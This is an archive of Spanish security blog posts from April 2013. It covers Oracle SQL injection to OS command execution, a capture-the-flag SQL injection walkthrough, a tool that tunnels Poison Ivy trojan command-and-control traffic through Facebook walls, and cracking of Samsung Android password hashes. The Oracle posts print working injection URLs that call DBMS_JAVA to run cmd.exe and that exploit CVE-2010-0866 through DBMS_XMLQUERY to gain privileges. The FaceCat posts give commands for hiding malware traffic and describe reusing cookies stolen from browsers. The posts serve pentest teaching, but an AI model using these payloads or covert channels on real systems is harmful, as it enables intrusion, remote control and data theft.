jueves, 25 de abril de 2013

Ponente en ConectaCON 2013

Los próximos días 9 y 10 de Mayo estaré en Jaén participando como ponente en las conferencias ConectaCON, que este año organizan la segunda edición de su congreso.


La charla se titula "Offensive Man-in-the-Middle", y es una aproximación un poco más ofensiva de lo habitual al clásico "Man-in-the-Middle" en el que tradicionalmente se pretende obtener información de forma pasiva o, como mucho, levemente activa (downgrade attacks y similares). En esta ocasión vamos a ver como realizar modificaciones en el propio contenido de las conexiones, de tal forma que consigamos obtener más información, o incluso llegar a tomar el control de la máquina, todo ello sin que se percate de nada de lo ocurrido.

Pero bueno, esto solo es mi charla, los asistentes a la ConectaCON de este año podrán disfrutar de charlas de gente como: Lorenzo Martinez, Juan Garrido, Pepelux, Dabo, Bernardo Quintero, Daniel Medianero, Alejandro Nolla y Dani Kachakil. Un par de ellas ya tuve la oportunidad de verlas en el cumpleaños de este blog que celebramos hace unos meses, y os aseguro que son muy interesantes y divertidas.

El horario de las charlas podéis encontrarlo AQUÍ o podéis directamente buscar la información que necesitéis en la web oficial del congreso AQUÍ.

El evento es gratuito y al ladito del fin de semana, así que no tenéis excusa para no pasaros a pasar un par de días con nosotros y aprovechar el viaje para hacer turismo por la zona el fin de semana. Yo al menos pienso hacerlo :P

Os dejo el video promocional de las conferencias, que a mi personalmente me ha encantado, aunque falta algún ponente por añadir que se ha incorporado a última hora.

martes, 23 de abril de 2013

SQL Injection hasta la cocina - Oracle (y II)

Hacer un par de días veíamos en ESTE post como podíamos ejecutar comandos del sistema operativo en una base de datos Oracle, pero nos quedamos con la limitación que teníamos que conseguir de alguna manera elevar privilegios y obtener permisos de java.io.FilePermission.

La manera de elevar privilegios está muy ligada a la versión de la base de datos y a su nivel de parcheo, ya que de vez en cuando se descubren vulnerabilidades que podrían ayudarnos a nuestros fines. La mejor manera de saber que opciones tenemos es hacer un fingerprinting de la base de datos  buscar esta versión en sitios web como Secunia o SecurityFocus, para que opciones tenemos.

Una de las vulnerabilidades que podemos utilizar es la etiquetada como CVE-2010-0866, que fue descubierta por el gran experto en base de datos David Litchfield. Esta vulnerabilidad permite, a cualquier usuario de la base de datos auto-asignarse privilegios de Java, con lo que es más que suficiente para lo que pretendemos.


Explotando esta vulnerabilidad conseguiríamos los privilegios necesarios para ejecutar todas las acciones que veíamos en el anterior post. Solo tenemos una pega ¿Cómo metemos este exploit en una sentencia SQL dentro de la inyección? ¿No os parece una SQL un poco rara? Efectivamente, la vulnerabilidad no puede ser explotada desde una sentencia SQL "normal", sino que es necesario disponer de un acceso PL/SQL, que podríamos decir que es como si fuera un lenguaje de scripting interno de la propia base de datos Oracle que nos permite mucha más potencia que una simple SQL, como definir variables, hacer bucles, etc ¿Cómo hacemos entonces para ejecutar esto? Veámoslo.

En la OWASP AppSec DC de 2012, Sumit Siddharth nos contaba una técnica de la que él mismo decía que lo cambiaba todo en el mundo de la explotación de vulnerabilidades a través de Inyecciones SQL. La técnica consistía en la existencia de un paquete llamado "DBMS_XMLQUERY" que contiene diversas funciones que permiten la ejecución de comandos PL/SQL, pero que pueden ser llamadas desde una SQL "normal". Empleando esta técnica, podemos ejecutar exploits en PL/SQL contra nuestra base de datos objetivo, para así conseguir elevar privilegios.

Según las pruebas que he hecho, lo que menos problemas da es crear una nueva función en la base de datos con el exploit que habíamos mencionado anteriormente. Yo he llamado a la función "givemethepower()", pero si estáis haciendo un Pentest profesional yo os recomiendo que le pongáis un nombre que identifique a vuestra empresa, para que sea más fácil de identificar.

http://www.vulnerable.com/oracle.asp?id=1 and dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION; begin execute immediate ''create or replace function givemethepower return number is PRAGMA AUTONOMOUS_TRANSACTION; begin execute immediate ''''DECLARE POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY;CURSOR C1 IS SELECT ''''''''GRANT'''''''',USER(), ''''''''SYS'''''''',''''''''java.io.FilePermission'''''''',''''''''<>'''''''',''''''''execute'''''''',''''''''ENABLED'''''''' from dual;BEGIN OPEN C1; FETCH C1 BULK COLLECT INTO POL;CLOSE C1;DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL);END;'''';commit;return 1;end;''; commit; end;') is not null --

Una vez creada la función, únicamente tenemos que hacer una segunda llamada utilizándola, para que el exploit se lance y se produzca la elevación de privilegios de este usuario.

Por supuesto, os recomiendo que vayáis anotando en todo momento que cosas tocáis, para luego poder volver sobre vuestros pasos y limpiarlo todo o, en caso de que no podáis, pasarle el listado a los administradores. Pero vayamos al grano y elevemos privilegios de una vez:

http://www.vulnerable.com/oracle.asp?id=1 and givemethepower()=1


A partir de este punto, estamos en el punto de partida del ejercicio anterior, con lo que podríamos repetir el proceso para ejecutar comandos del sistema operativo, pero... seguro que se os ocurren cosas mejores que hacer que crear un ficherito en c:\ ¿Verdad?


Pero bueno, para eso necesitaríamos subir el binario de Meterpreter al servidor comprometido, pero no puede ser tan difícil si herramientas como SQLMap y SQLNinja lo hacen con los Microsoft SQL Server ¿No? Otro días nos meteremos con esto en profundidad.

lunes, 22 de abril de 2013

SQL Injection hasta la cocina - Oracle (I)

¿Os suena este título? A los que lleven tiempo siguiendo este blog les sonará un post llamado SQL Injection hasta la cocina - MS SQL Server que fue publicado hará algo más de dos años, y en el que usábamos diferentes herramientas para comprometer una base de datos Microsoft SQL Server a través de una SQL Injection.

En este caso, vamos a intentar repetir el proceso pero esta vez con una base de datos Oracle 11g. Al contrario de lo que sucede con MS SQL Server, en Oracle no existe un comando equivalente a "xp_cmdshell" que nos permita directamente ejecutar comandos del sistema operativo, pero sí que existen algunas funciones y procedimientos de las que podemos abusar para conseguir nuestro objetivo.

Para este primer post vamos a suponer que tenemos una inyección sql con un usuario con todos los privilegios del mundo, y veremos como conseguiríamos ejecutar comandos. En el próximo post veremos como podemos elevar privilegios en el caso de que no seamos tan afortunados de encontrar unos privilegios tan mal asignados. Para las demostraciones utilizaremos una URL como la siguiente, que contiene una vulnerabilidad en su parámetro "id":

http://www.vulnerable.com/oracle.asp?id=1

A pesar de no existir una función equivalente a "xp_cmdshell", Oracle permite diferentes acciones sobre clases por medio del paquete DBMS_JAVA. Una de las funciones de este paquete que nos permite llamar a clases java es RUNJAVA(), que será la que utilizaremos en este post para ejecutar código. Vale, está claro, podemos ejecutar clases java que haya en nuestro servidor objetivo peor... ¿hay alguna clase que venga preinstalada y de la que podamos abusar parar ejecutar código? La respuesta es SI: Existe una clase llamada "Wrapper" que, como vamos a ver a continuación, es exactamente lo que andábamos buscando:


Como podéis ver, esta clase java simplemente coge lo que le hayamos pasado como parámetros y directamente lo ejecuta sobre el sistema operativo, así que ya tenemos una pista del tipo de sentencia SQL que vamos a tener que realizar para conseguir ejecución remota de comandos:

SELECT dbms_java.runjava('oracle/aurora/util/Wrapper c:\\\\windows\\\\system32\\\\cmd.exe /c  echo PWNED > c:\\\\pwned.txt') FROM DUAL);

Recordad que las contrabarras tienen que ser escapadas para que lleguen al sistema operativo tal y como queremos. En este caso, estaremos creando un fichero en c:\ con el contenido "PWNED", que es una prueba bastante inútil en si mismo, pero que al menos nos muestra si estamos consiguiente ejecución de comandos o no.


Esta sentencia, además, podemos insertarla perfectamente en una Inyección SQL como haríamos con cualquier condición, de la siguiente forma:

http://www.vulnerable.com/dbaoracle.asp?id=1 and (SELECT dbms_java.runjava('oracle/aurora/util/Wrapper c:\\\\windows\\\\system32\\\\cmd.exe /c  echo PWNED > c:\\\\pwned.txt') FROM DUAL) IS NOT NULL -- 

¡Qué fácil! ¿Verdad?
Pues no, lo cierto es que no es tan fácil ¿Recordáis que comentábamos que en este caso asumimos que el usuario de base de datos de la aplicación tiene "todos los privilegios del mundo"? Tampoco necesitamos todos los del mundo, sino que con uno solo nos basta: java.io.FilePermission. Este permiso, sin embargo, no se asigna por defecto, y yo no he visto muchos sitios donde los administradores lo hayan asignado muy a la ligera, así que podemos asumir que en una Inyección SQL real no nos vamos a encontrar con estos privilegios.

Ya, ya sé lo que estáis pensando, que vaya post inútil os he contado ¿verdad? Bueno, digamos que todo lo que os acabo de contar os vale como un segundo paso de la explotación, una vez que ya hayamos conseguido elevar a los privilegios necesarios.

Pero... ¿Cómo vamos a hacer para elevar privilegios? Lo veremos en el siguiente post.

martes, 16 de abril de 2013

Solución a SQL Injection Challenge Three

Como a cualquiera que se dedica a este mundillo, me encantan los retos de seguridad, pero por desgracia no suelo poderles dedicar el tiempo que requieren. Muchas veces intento ni siquiera mirarlos, sobretodo si tengo mucho trabajo de otras cosas, porque me "pico" con facilidad y soy capaz de tirarme horas y horas hasta que no doy con la solución.

Hace un par de fin de semanas, mi amigo Adrián Bravo estaba resolviendo unos retos de seguridad web y me comentó que había un reto que parecía que "tenía su aquel". "Pégale un vistazo a ver si se te ocurre algo", me dijo. Había conseguido picarme a mirarlo, y ya estaba enganchado, estaba perdido...

El reto, para no destriparlo, lo voy a anonimizar, pero el que lo haya hecho o lo haya intentado seguro que reconocer el formato, así que si no queréis que os lo destripe es el momento de dejar de leer AHORA!


El reto era típico, tenemos un campo de texto libre en el que escribimos el nombre de una persona y nos devuelve de nuevo su nombre si lo encuentra. Si ponemos una comilla simple nos devuelve un bonito error de MySQL, así que ya sabemos dos cosas: que tenemos los errores a la vista y que la base de datos es un MySQL:

theUserName=Mary Martin'

com.mysql.jdbc.exceptions.jdbc4.MySQLSyntaxErrorException: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''mary martin''' at line 1

Vamos a probar ahora una cadena típica de inyección, a ver que tal nos responde la aplicación:

theUserName=Mary Martin' AND 1=1 #

com.mysql.jdbc.exceptions.jdbc4.MySQLSyntaxErrorException: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '1=1 #'' at line 1

El error habla de un error de sintaxis cerca de 1=1, algo que es un poco raro, porque la instrucción SQL que hemos introducido es perfectamente válida. Este tipo de errores suelen ocurrir cuando existen mecanismos de filtrado que eliminan algunas palabras, lo cual puede resultar en que la sintaxis no sea correcta. Como tenemos la suerte de tener los errores a la vista, vamos a forzar un error a ver si la palabra "AND" nos la está filtrando:

theUserName=Mary Martin' aaaaANDbbbb #

com.mysql.jdbc.exceptions.jdbc4.MySQLSyntaxErrorException: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'aaaabbbb #'' at line 1

Como podéis ver en el error, la cadena "AND" (case insensitive) la ha eliminado, así que es esto lo que nos está provocando errores de sintaxis, y lo tendremos que tener en cuenta. Haciendo algunas pruebas más vemos que la cadena "OR" también se encuentra filtrada, pero no otras cadenas típicas como "UNION", "SELECT", "FROM", etc, así que vamos a poder hacer un UNION de la manera habitual, a ver los nombres de las tablas:

theUserName=Mary Martin' UNION SELECT table_name FROM information_schema.tables #

com.mysql.jdbc.exceptions.jdbc4.MySQLSyntaxErrorException: SELECT command denied to user 'HdmiNoSignal'@'193.1.201.85' for table 'tables'

Este error no me terminó de quedar claro por qué sucedía, si por una falta de permisos o por un error en el nombre, ya que la cadena infORmation_schema contiene la cadena "OR", y por lo tanto el nombre no va a ser nunca correcto. En cualquier caso, parecía que no íbamos a poder obtener los nombres de las tablas de una manera convencional, así que teníamos dos posibles salidas: La primera de ellas era atacar por fuerza bruta los nombres de las tablas, y la segunda es que la información que buscamos esté en la misma tabla contra la que se realiza la query original. El segundo caso es más sencillo, así que vamos a por él primero, a ver si conseguimos sacar el nombre de la tabla.

theUserName=Mary Martin' PROCEDURE ANALYSE() #


Utilizando PROCEDURE ANALYSE() conseguimos obtener una cadena que nos muestra el nombre de base de datos, tabla y columna que devuelve la query original. En este caso, vemos que la tabla se llama "customers", y que contiene al menos una columna llamada "customerName" pero... ¿tendrá más columnas?

theUserName=Mary Martin' || (SELECT * FROM customers)=1 #

java.sql.SQLException: Operand should contain 5 column(s)

Utilizando el operado "||" en lugar de "OR" para evitar el filtrado, podemos hacer una segunda query que nos devolvería todas las columnas de la tabla "customers" y, al compararla con "1", vamos a obtener un error diciendo que el operado debería tener X columnas, que será la cantidad de columnas que tiene la tabla "customers". Ahora solo nos salta falta saber como se llaman, a ver si alguna de ellas contiene la información sobre tarjetas de crédito que buscamos:

theUserName=Mary Martin' || (SELECT * FROM (SELECT * FROM customers a JOIN customers b) c) #

com.mysql.jdbc.exceptions.jdbc4.MySQLSyntaxErrorException: Duplicate column name 'customerId'

Una posible manera de hacerlo es provocando un error al hacer un JOIN, ya que si hacemos un JOIN de una tabla consigo misma, los nombres de las columnas van a coincidir, y este error nos va a mostrar el nombre de la columna coincidente. Lamentablemente solo nos muestra uno de los nombres, así que vamos a tener que ir sacando los nombres de forma iterativa usando la sentencia USING (columna1, columna2, columna3) para hacer que el error se de en la columna siguiente:

theUserName=Mary Martin' || (SELECT * FROM (SELECT * FROM customers
a JOIN customers b USING (customerId,customerName)) c) #


¡¡Perfecto!! Parece que ya sabemos el nombre de la tabla y el nombre de la columna que necesitamos, así que ahora solo nos queda hacer la query para obtener la tarjeta de crédito:

theUserName=Mary Martin' UNION SELECT creditCardNumber FROM
customers WHERE customerName='Mary Martin' #


¡Parece que la lo tenemos! Os dejo tapadito el número de tarjeta de crédito para que, aunque conozcáis el reto, al menos lo tengáis que explotar vosotros mismos ;)

jueves, 11 de abril de 2013

Covert Channels over Social Networks (y IV)

¡Y por fin llegamos al último post de la serie! Ya tenemos el FaceCat programado (aunque os recuerdo que es fácil que algo haya cambiado y en estos momentos necesite modificaciones) y podemos usarlo para establecer canales encubiertos a traves de FaceBook:

$ ./facecat.py 
Usage: facecat.py [options]

Options:
  -h, --help                       show this help message
  -w WALL, --wall=WALL  wall pipe account
  -c HOST, --host=HOST  connection host
  -p PORT, --port=PORT  listening or connection port
  -v, --verbose                  verbose output

El ejemplo más típico, porque es el que menos problemas puede dar, es hacer un simple chat TCP, que podemos hacer de la siguiente manera:

$ ./facecat.py –v –m wall1@gmail.com –p 4444

Luego utilizamos un par de putty's o NetCats para conectar a los puertos a la escucha, y a ver si conseguimos establecer una comunicación.


¡Perfecto! Parece que la cosa marcha. Ahora el siguiente paso es intentar hacerlo con una comunicación de un troyano convencional. En este caso hemos usado Poison Ivy, para ver si podíamos emplear toda su funcionalidad a través de un canal encubierto.

Para ello crearemos el malware de Poison Ivy con su generador, diciéndole que conecte a 127.0.0.1 al puerto 3460, donde tendremos escuchando un FaceCat que encapsulará la comunicación a través de FaceBook:

> facecat.py –v –m wall1@gmail.com –p 3460

En el lado del C&C, tendremos otro FaceCat que recibirá la comunicación de FaceBook y conectará al C&C del Poison Ivy para transmitirle la información ya desencapsulada:

> facecat.py –v –m wall1@gmail.com –c 127.0.0.1 –p 3460

Con todo eso, y el propio Poison Ivy, podemos ver como tomamos el control de un sistema empleando tráfico completamente encapsulado a través de FaceBook:


Por supuesto, el uso de canales encubiertos no es gratuito, y los que habéis usado el Poison Ivy con anterioridad habréis observado que funciona más lento de lo habitual, especialmente al realizar la captura de pantalla, pero es el precio que se tiene que pagar por la "invisibilidad".

El código fuente está disponible AQUÍ, pero como ya os he comentado, esta investigación fue realizada hace tiempo, por lo que es probable que necesitéis hacer cambios para que consigais que funcione.

martes, 9 de abril de 2013

Covert Channels over Social Networks (III)

Como os comentábamos en el anterior post, desarrollamos una prueba de concepto llamada FaceCat en la que pretendimos demostrar que podíamos introducir un canal encubierto a través de FaceBook.

Una de las primeras complicaciones que nos encontramos fue los continuos cambios y mejoras que se aplican sobre el interface de FaceBook, y la cantidad de Javascript/Ajax que este contiene. Esto puede hacer el uso de canales encubiertos una pesadilla, ya que cada cambio podría inutilizar el canal. La solución que se nos ocurrió es usar la aplicación para móviles de FaceBook, por tratarse de una aplicación basada en un HTML sencillo, y que presumiblemente sufrirá muchos menos cambios que su "hermano" para equipos de escritorio.


El siguiente paso fue ver como podíamos autenticar contra FaceBook para poder acceder a los muros que queríamos. En este caso, buscámos entre las cookies almacenadas por los navegadores más comunes una sesión autenticada de FaceBook, y empleamos esta misma sesión para la comunicación.

En una primera versión de FaceCat, este mismo usuario era utilizado para todo el proceso, pero durante su desarrollo se produjo un cambio en el sistema de permisos de FaceBook que impedía a un usuario dar permiso a cualquier otro usuario para escribir en su muro, aún sin ser contactos, y como no quería levantar las sospechas por añadir a este usuario como amigo de un usuario desconocido, optamos por realizar un "pass-the-cookie" a través de este muro, de tal forma que el usuario de esta cookie sea contacto del propietario del muro y, por lo tanto, pueda escribir en este:


Para introducir la información, como podéis apreciar, utilizamos Base64, ya que los comentarios en los muros de FaceBook deben ser texto, y el contenido de una comunicación es binario y podría contener caracteres no permitidos por FaceBook. En la idea original, pensamos en separar el código base64 en grupos de caracteres y mezclarlo con palabras comunes entre signos de puntuación para evitar su detección, de la siguiente forma:


R0VU  IC8gSFR UUC, as I just said, 8xLjAK SG9z dDogd3, when he started to, d3 Lmdv b2dsZ S5jb20, then he came back home and, KVXN lc i1BZ2Vud DogT W9 6aWxsY, and so on, Q oKZm9v PX Rlc 3Q., and thats all


Sin embargo, no fue necesario llegar hasta este punto, ya que FaceBook no bloqueaba la publicación de gran cantidad de comentarios en Base64 sin ningún tipo de modificación.

Lo siguiente que introdujimos fue un control de flujo, ya que en el mismo muro se juntan los mensajes en ambos sentidos de la comunicación, además de que cada uno de los lados debe poder saber hasta que mensaje ha leido, para poder leer el siguiente y no leer varias veces el mismo. Para ello empleamos una aproximación similar a la de TCP/IP, ya que empleamos un número de secuencia y una marca (M o S) que establece quien es el originario del mensaje.


Con todo esto, programado en Python, ya tenemos una prueba de concepto de canales encubiertos sobre FaceBook. En el próximo post veremos el resultado final y algunos ejemplos prácticos con un troyano real.

jueves, 4 de abril de 2013

Destripando framework2.odex en Android

Hace algunas semanas estuve programando una pequeña herramienta en Python para ayudarme a crackear los hashes de Android. Durante su desarrollo, me di cuenta que los crackeos en hashes de móviles Samsung nunca funcionaban, además de que tenían un aspecto algo diferente (más corto) al de otros fabricantes. Como ya sabéis, los fabricantes de teléfonos móviles realizan modificaciones sobre el sistema operativo original de Google para adaptarlo a su hardware, mejorar rendimiento, o cualquier otra cosa que se les ocurra, por lo que no era descabellado pensar que Samsung hubiera realizado alguna modificación en el algoritmo de hashing. Por desgracia, no encontré por ninguna parte el código fuente propias de Samsung, así que no quedó más remedio que rebuscar un poco.

En primer lugar, necesitamos saber en que parte del código se realiza la acción del Hashing. En el caso de Android, tenemos la suerte de que el código fuente está disponible, así que una búsqueda rápida puede ayudarnos a obtener unos cuantos candidatos.


De los ficheros obtenidos, parece que uno con nombre "LockPatternUtils.java" tiene toda la pinta de poder contener el código que buscamos. Si accedemos a su código fuente y buscamos cadenas como "hash" o similares, y navegamos un poco por el código, acabamos encontrando funciones como "patternToHash()" o "passwordToHash()", que parecen ser las encargadas de generar los hashes de contraseñas y patrones y guardar el resultado en los ficheros "gesture.key" y "password.key" respectivamente.


Como podéis ver, este es el algoritmo habitual, el que coge la contraseña, la concatena con un salt y realiza dos hashes, un SHA-1 y un MD5, que luego concatena y guarda en el fichero. Viendo el path del fichero en el código fuente podemos ver que se encuentra dentro del framework base de Android, así que ahora solo necesitamos un Samsung con ROM original y descargar este fichero a ver que han modificado:

$ adb pull /system/framework .

Concretamente, el fichero que nos interesa es "framework2.odex", pero necesitamos bajarnos todo el framework porque la herramienta smali lo necesita para poder traducir este ODEX a un fichero DEX. El proceso parece un poco confuso, pero básicamente lo que hacemos es obtener el código smali del ODEX, y posteriormente volvemos a montar un DEX para luego convertirlo en JAR con dex2jar ¿Por qué? Porque el JAR podemos abrirlo con cualquier decompilador de Java como JD-GUI, mientras que el código smali puede ser un poco más complicado de leer. Veamos como lo haríamos:

$ java -jar baksmali-1.4.2.jar -a 15 -x framework2.odex -d framework -o framework2
$ java -jar smali-1.4.2.jar --api-level 15 -o classes.dex framework2
$ d2j-dex2jar.sh classes.dex

Ahora que ya tenemos el fichero "classes-dex2jar.jar" (el nombre lo pone la herramienta dex2jar por si misma), podemos abrirlo con nuestro decompilador de java favorito, en mi caso JD-GUI, y buscar la función passwordToHash() que comentábamos antes a ver que ha cambiado:


Pues... parece que sí que la cosa cambia un poco con respecto a la función original de Android. Para empezar no utiliza para nada el algoritmo MD5, sino únicamente SHA-1. En segundo lugar, no realiza una única ronda, sino que realiza 1024 rondas a las que le va añadiendo en cada una el número de iteración del bucle antes de volver a aplicar el algoritmo de hash.

Ahora solo queda programarlo y ya podemos crackear estos hashes, aunque como podéis imaginar será mucho más lento, debido a las múltiples rondas que se deben realizar para cada prueba. Un punto positivo para Samsung en este aspecto (a priori, que luego cuando tocas algoritmos de cifrado... nunca se sabe como puedes afectar a su seguridad).

Covert Channels over Social Networks (II)

En el anterior post hicimos una introducción a lo que son los caneles encubiertos y como están siendo utilizados por el malware en la actualidad, así como las contramedidas que típicamente están siendo utilizadas por los administradores de seguridad.

La pregunta que dejábamos pendiente en el anterior post era ¿Podríamos utilizar un dominio conocido para ocultar mensajes entre un malware y su C&C? Para dar respuesta a esta pregunta le pegué un vistazo superficial a algunas aplicaciones que se me fueron ocurriendo, a ver si tenían algún tipo de protección que impidiera su uso como un canal encubierto. Os recuerdo que esta investigación fue realizada hace algún tiempo, así que es posible que en este tiempo se hayan introducido nuevas protecciones. También os tengo que comentar que esta primera revisión fue superficial, y que únicamente me metí en detalle con FaceBook.

PASTEBIN


Pastebin me parecía un medio de comunicación interesante, sobretodo porque permite introducir información de forma anónima, así que no hay cuentas de usuario que puedan ser bloqueadas ni nada de eso. Sin embargo, bajo determinadas circunstancias, la aplicación te pedía resolver un captcha, con lo que se complicaba un poco su uso.

DROPBOX


Dropbox fue otra de las aplicaciones que pensé que podía resultar útil. Permitía acceder en raw al contenido de los ficheros y además no parecía tener ningún medio de protección ante la subida masiva de ficheros via HTTP, así que era un buen candidato.

GOOGLE SITES



Por supuesto, el tráfico hacia Google es algo que no resultaría extraño en ninguna red, así que era sin duda un buen candidato. En este caso hice algunas pruebas con los comentarios de Google Site, una aplicación tipo "wiki" que Google ofrece para la creación de sitios web sencillos. Entre sus funcionalidades, existe la opción de pone comentarios. Tras algunas pruebas, no pareció que fuera bloqueado o que se me pidiera resolver ningún captcha ante una entrada masiva de comentarios.

TWITTER


Twitter ya había sido usado con anterioridad por malware como "Naz", ya que no ofrecía ninguna protección contra su uso masivo ni nada similar. Sin embargo, es un sistema que por defecto deja toda la comunicación a la vista de todo el mundo, y requería algo más de trabajo adicional.

FACEBOOK


FaceBook es, sin duda, la red social por antonomasia, por lo que era un excelente candidato, especialmente pensando en usuarios domésticos (y, sorprendentemente, también muchas empresas). Tras algunas pruebas vimos que FaceBook tiene algunas protecciones, pero que estás están pensadas en proteger la privacidad de sus usuarios (como es lógico). Si intentas hacer un crawling para obtener información de otros usuarios sí que eres detectado y bloqueado, pero no encontramos ningún impedimento para leer escribir de nuestro propio muro, o del de otro usuario, siempre que no fuéramos cambiando de usuario.

Al final, nos quedamos con FaceBook, y desarrollamos una prueba de concepto a la que llamamos FaceCat, llamado así porque funciona de forma muy similar a un NetCat tradicional, pero encapsulando el canal de comunicación a través de FaceBook.

En el próximo post veremos en detalle los pasos que se siguieron para el desarrollo de esta herramienta.

martes, 2 de abril de 2013

Covert Channels over Social Networks (I)

Hace unas pocas semanas comentaba en un post sobre el informe de Mandiant sobre APT1 el tema de los Canales Encubiertos. Buscando los enlaces en el propio blog sobre el trabajo "Covert Channels over Social Networks" que publique con el SANS Institute y que comenté tanto en las conferencias SOURCE como en las GSIC, me di cuenta que nunca llegué a publicar en el blog una serie de posts que tenía previstos sobre este tema, pero... más vale tarde que nunca ¿no?

El concepto de "Canales Encubiertos" está muy ligado a la Esteganografía, que significa "escritura oculta". Como muchos de vosotros sabréis, la esteganografía sigue una filosofía distinta al cifrado. El cifrado pretende hacer un mensaje indescifrable para cualquier persona que no sea el receptor del mismo, pero no pretende oculta la existencia de dicho mensaje. La esteganografía, sin embargo, consiste precisamente en la ocultación de un mensaje dentro de un contexto, de tal forma que nadie salvo el receptor se percate ni tan siquiera de su existencia. La forma más típica de esteganografía la hemos encontrado en imagenes, donde por ejemplo podemos substituir los bits menos significativos de cada uno de los puntos de la imagen de tal forma que contengan un mensaje oculto. Al estar modificando los bits menos significativos, la alteración de la imagen es mínima, y por lo tanto es sencillo que nadie se percate de las modificaciones realizadas sobre ella.


Los canales encubiertos aplican este mismo concepto pero en comunicaciones de red, para ocultar transmisiones realizadas por puertas traseras u otros tipos de software similares. Uno de los ejemplos típicos de canales encubiertos era la ocultación de información a través del IPID que se emplea en TCP/IP como identificador único de un paquete en el caso de que se produzca fragmentación de paquetes, pero que no se utiliza para nada en caso de que no se produzca.


La primera columna son IPID's tomados de una captura real de tráfico web con un navegador, mientras que la segunda contiene un canal encubierto con la secuencia "cat /etc/passwd" ¿lo veis? Como podéis imaginar, no resulta fácil de detectar, ya que es necesario hacer estudios estadísticos para determinar si una secuencia es aleatoria o si sigue algún patrón no aleatorio, que podría significar la existencia de un canal encubierto.

Los proxies, NAT y otros mecanismos son de mucha utilidad para neutralizar algunos tipos de canales cubiertos, especialmente aquellos en los que la conexión termina en la frontera y es iniciada una nueva, como es el caso de los proxies. Por ello los atacantes están empleando cada vez más canales de comunicación basados en protocolo HTTP, ya que este es uno de los pocos que habitualmente están permitidos en cualquier organización. Como medida de ocultación, suelen utilizar conexiones HTTPS que impiden la inspección de los paquetes por parte de los detectores de intrusos.

Pero ¿a que servicios HTTP se conectan? Generalmente a servidores comprometidos o alquilados en diferentes lugares del mundo, que les sirven de Command & Control (C&C). Esto hace que los especialistas en seguridad hayan desarrollado listas de negras y de reputación de direcciones IP, redes y nombres de dominio, que sirven para identificar estas conexiones anómalas.

¿Y si el destino de estas conexiones no son anómalas? ¿Y si son conexiones a Google, Facebook o Twitter? Cuando se desarrolló esta investigación (hace ya casi 2 años), muy poco malware hacía uso de estos canales cubiertos. Tan solo se conocían algunos casos en la red Twitter, en la que las direcciones de los servidores de C&C eran publicadas en una cuenta específica. En estos momentos, el uso de canales cubiertos por parte de malware está más extendido, como vimos en el informe de Mandiant, aunque sigue sin ser algo extremadamente común.


En el próximo post entraremos al detalle en algunas de las redes sociales y servicios conocidos que analizamos para el trabajo.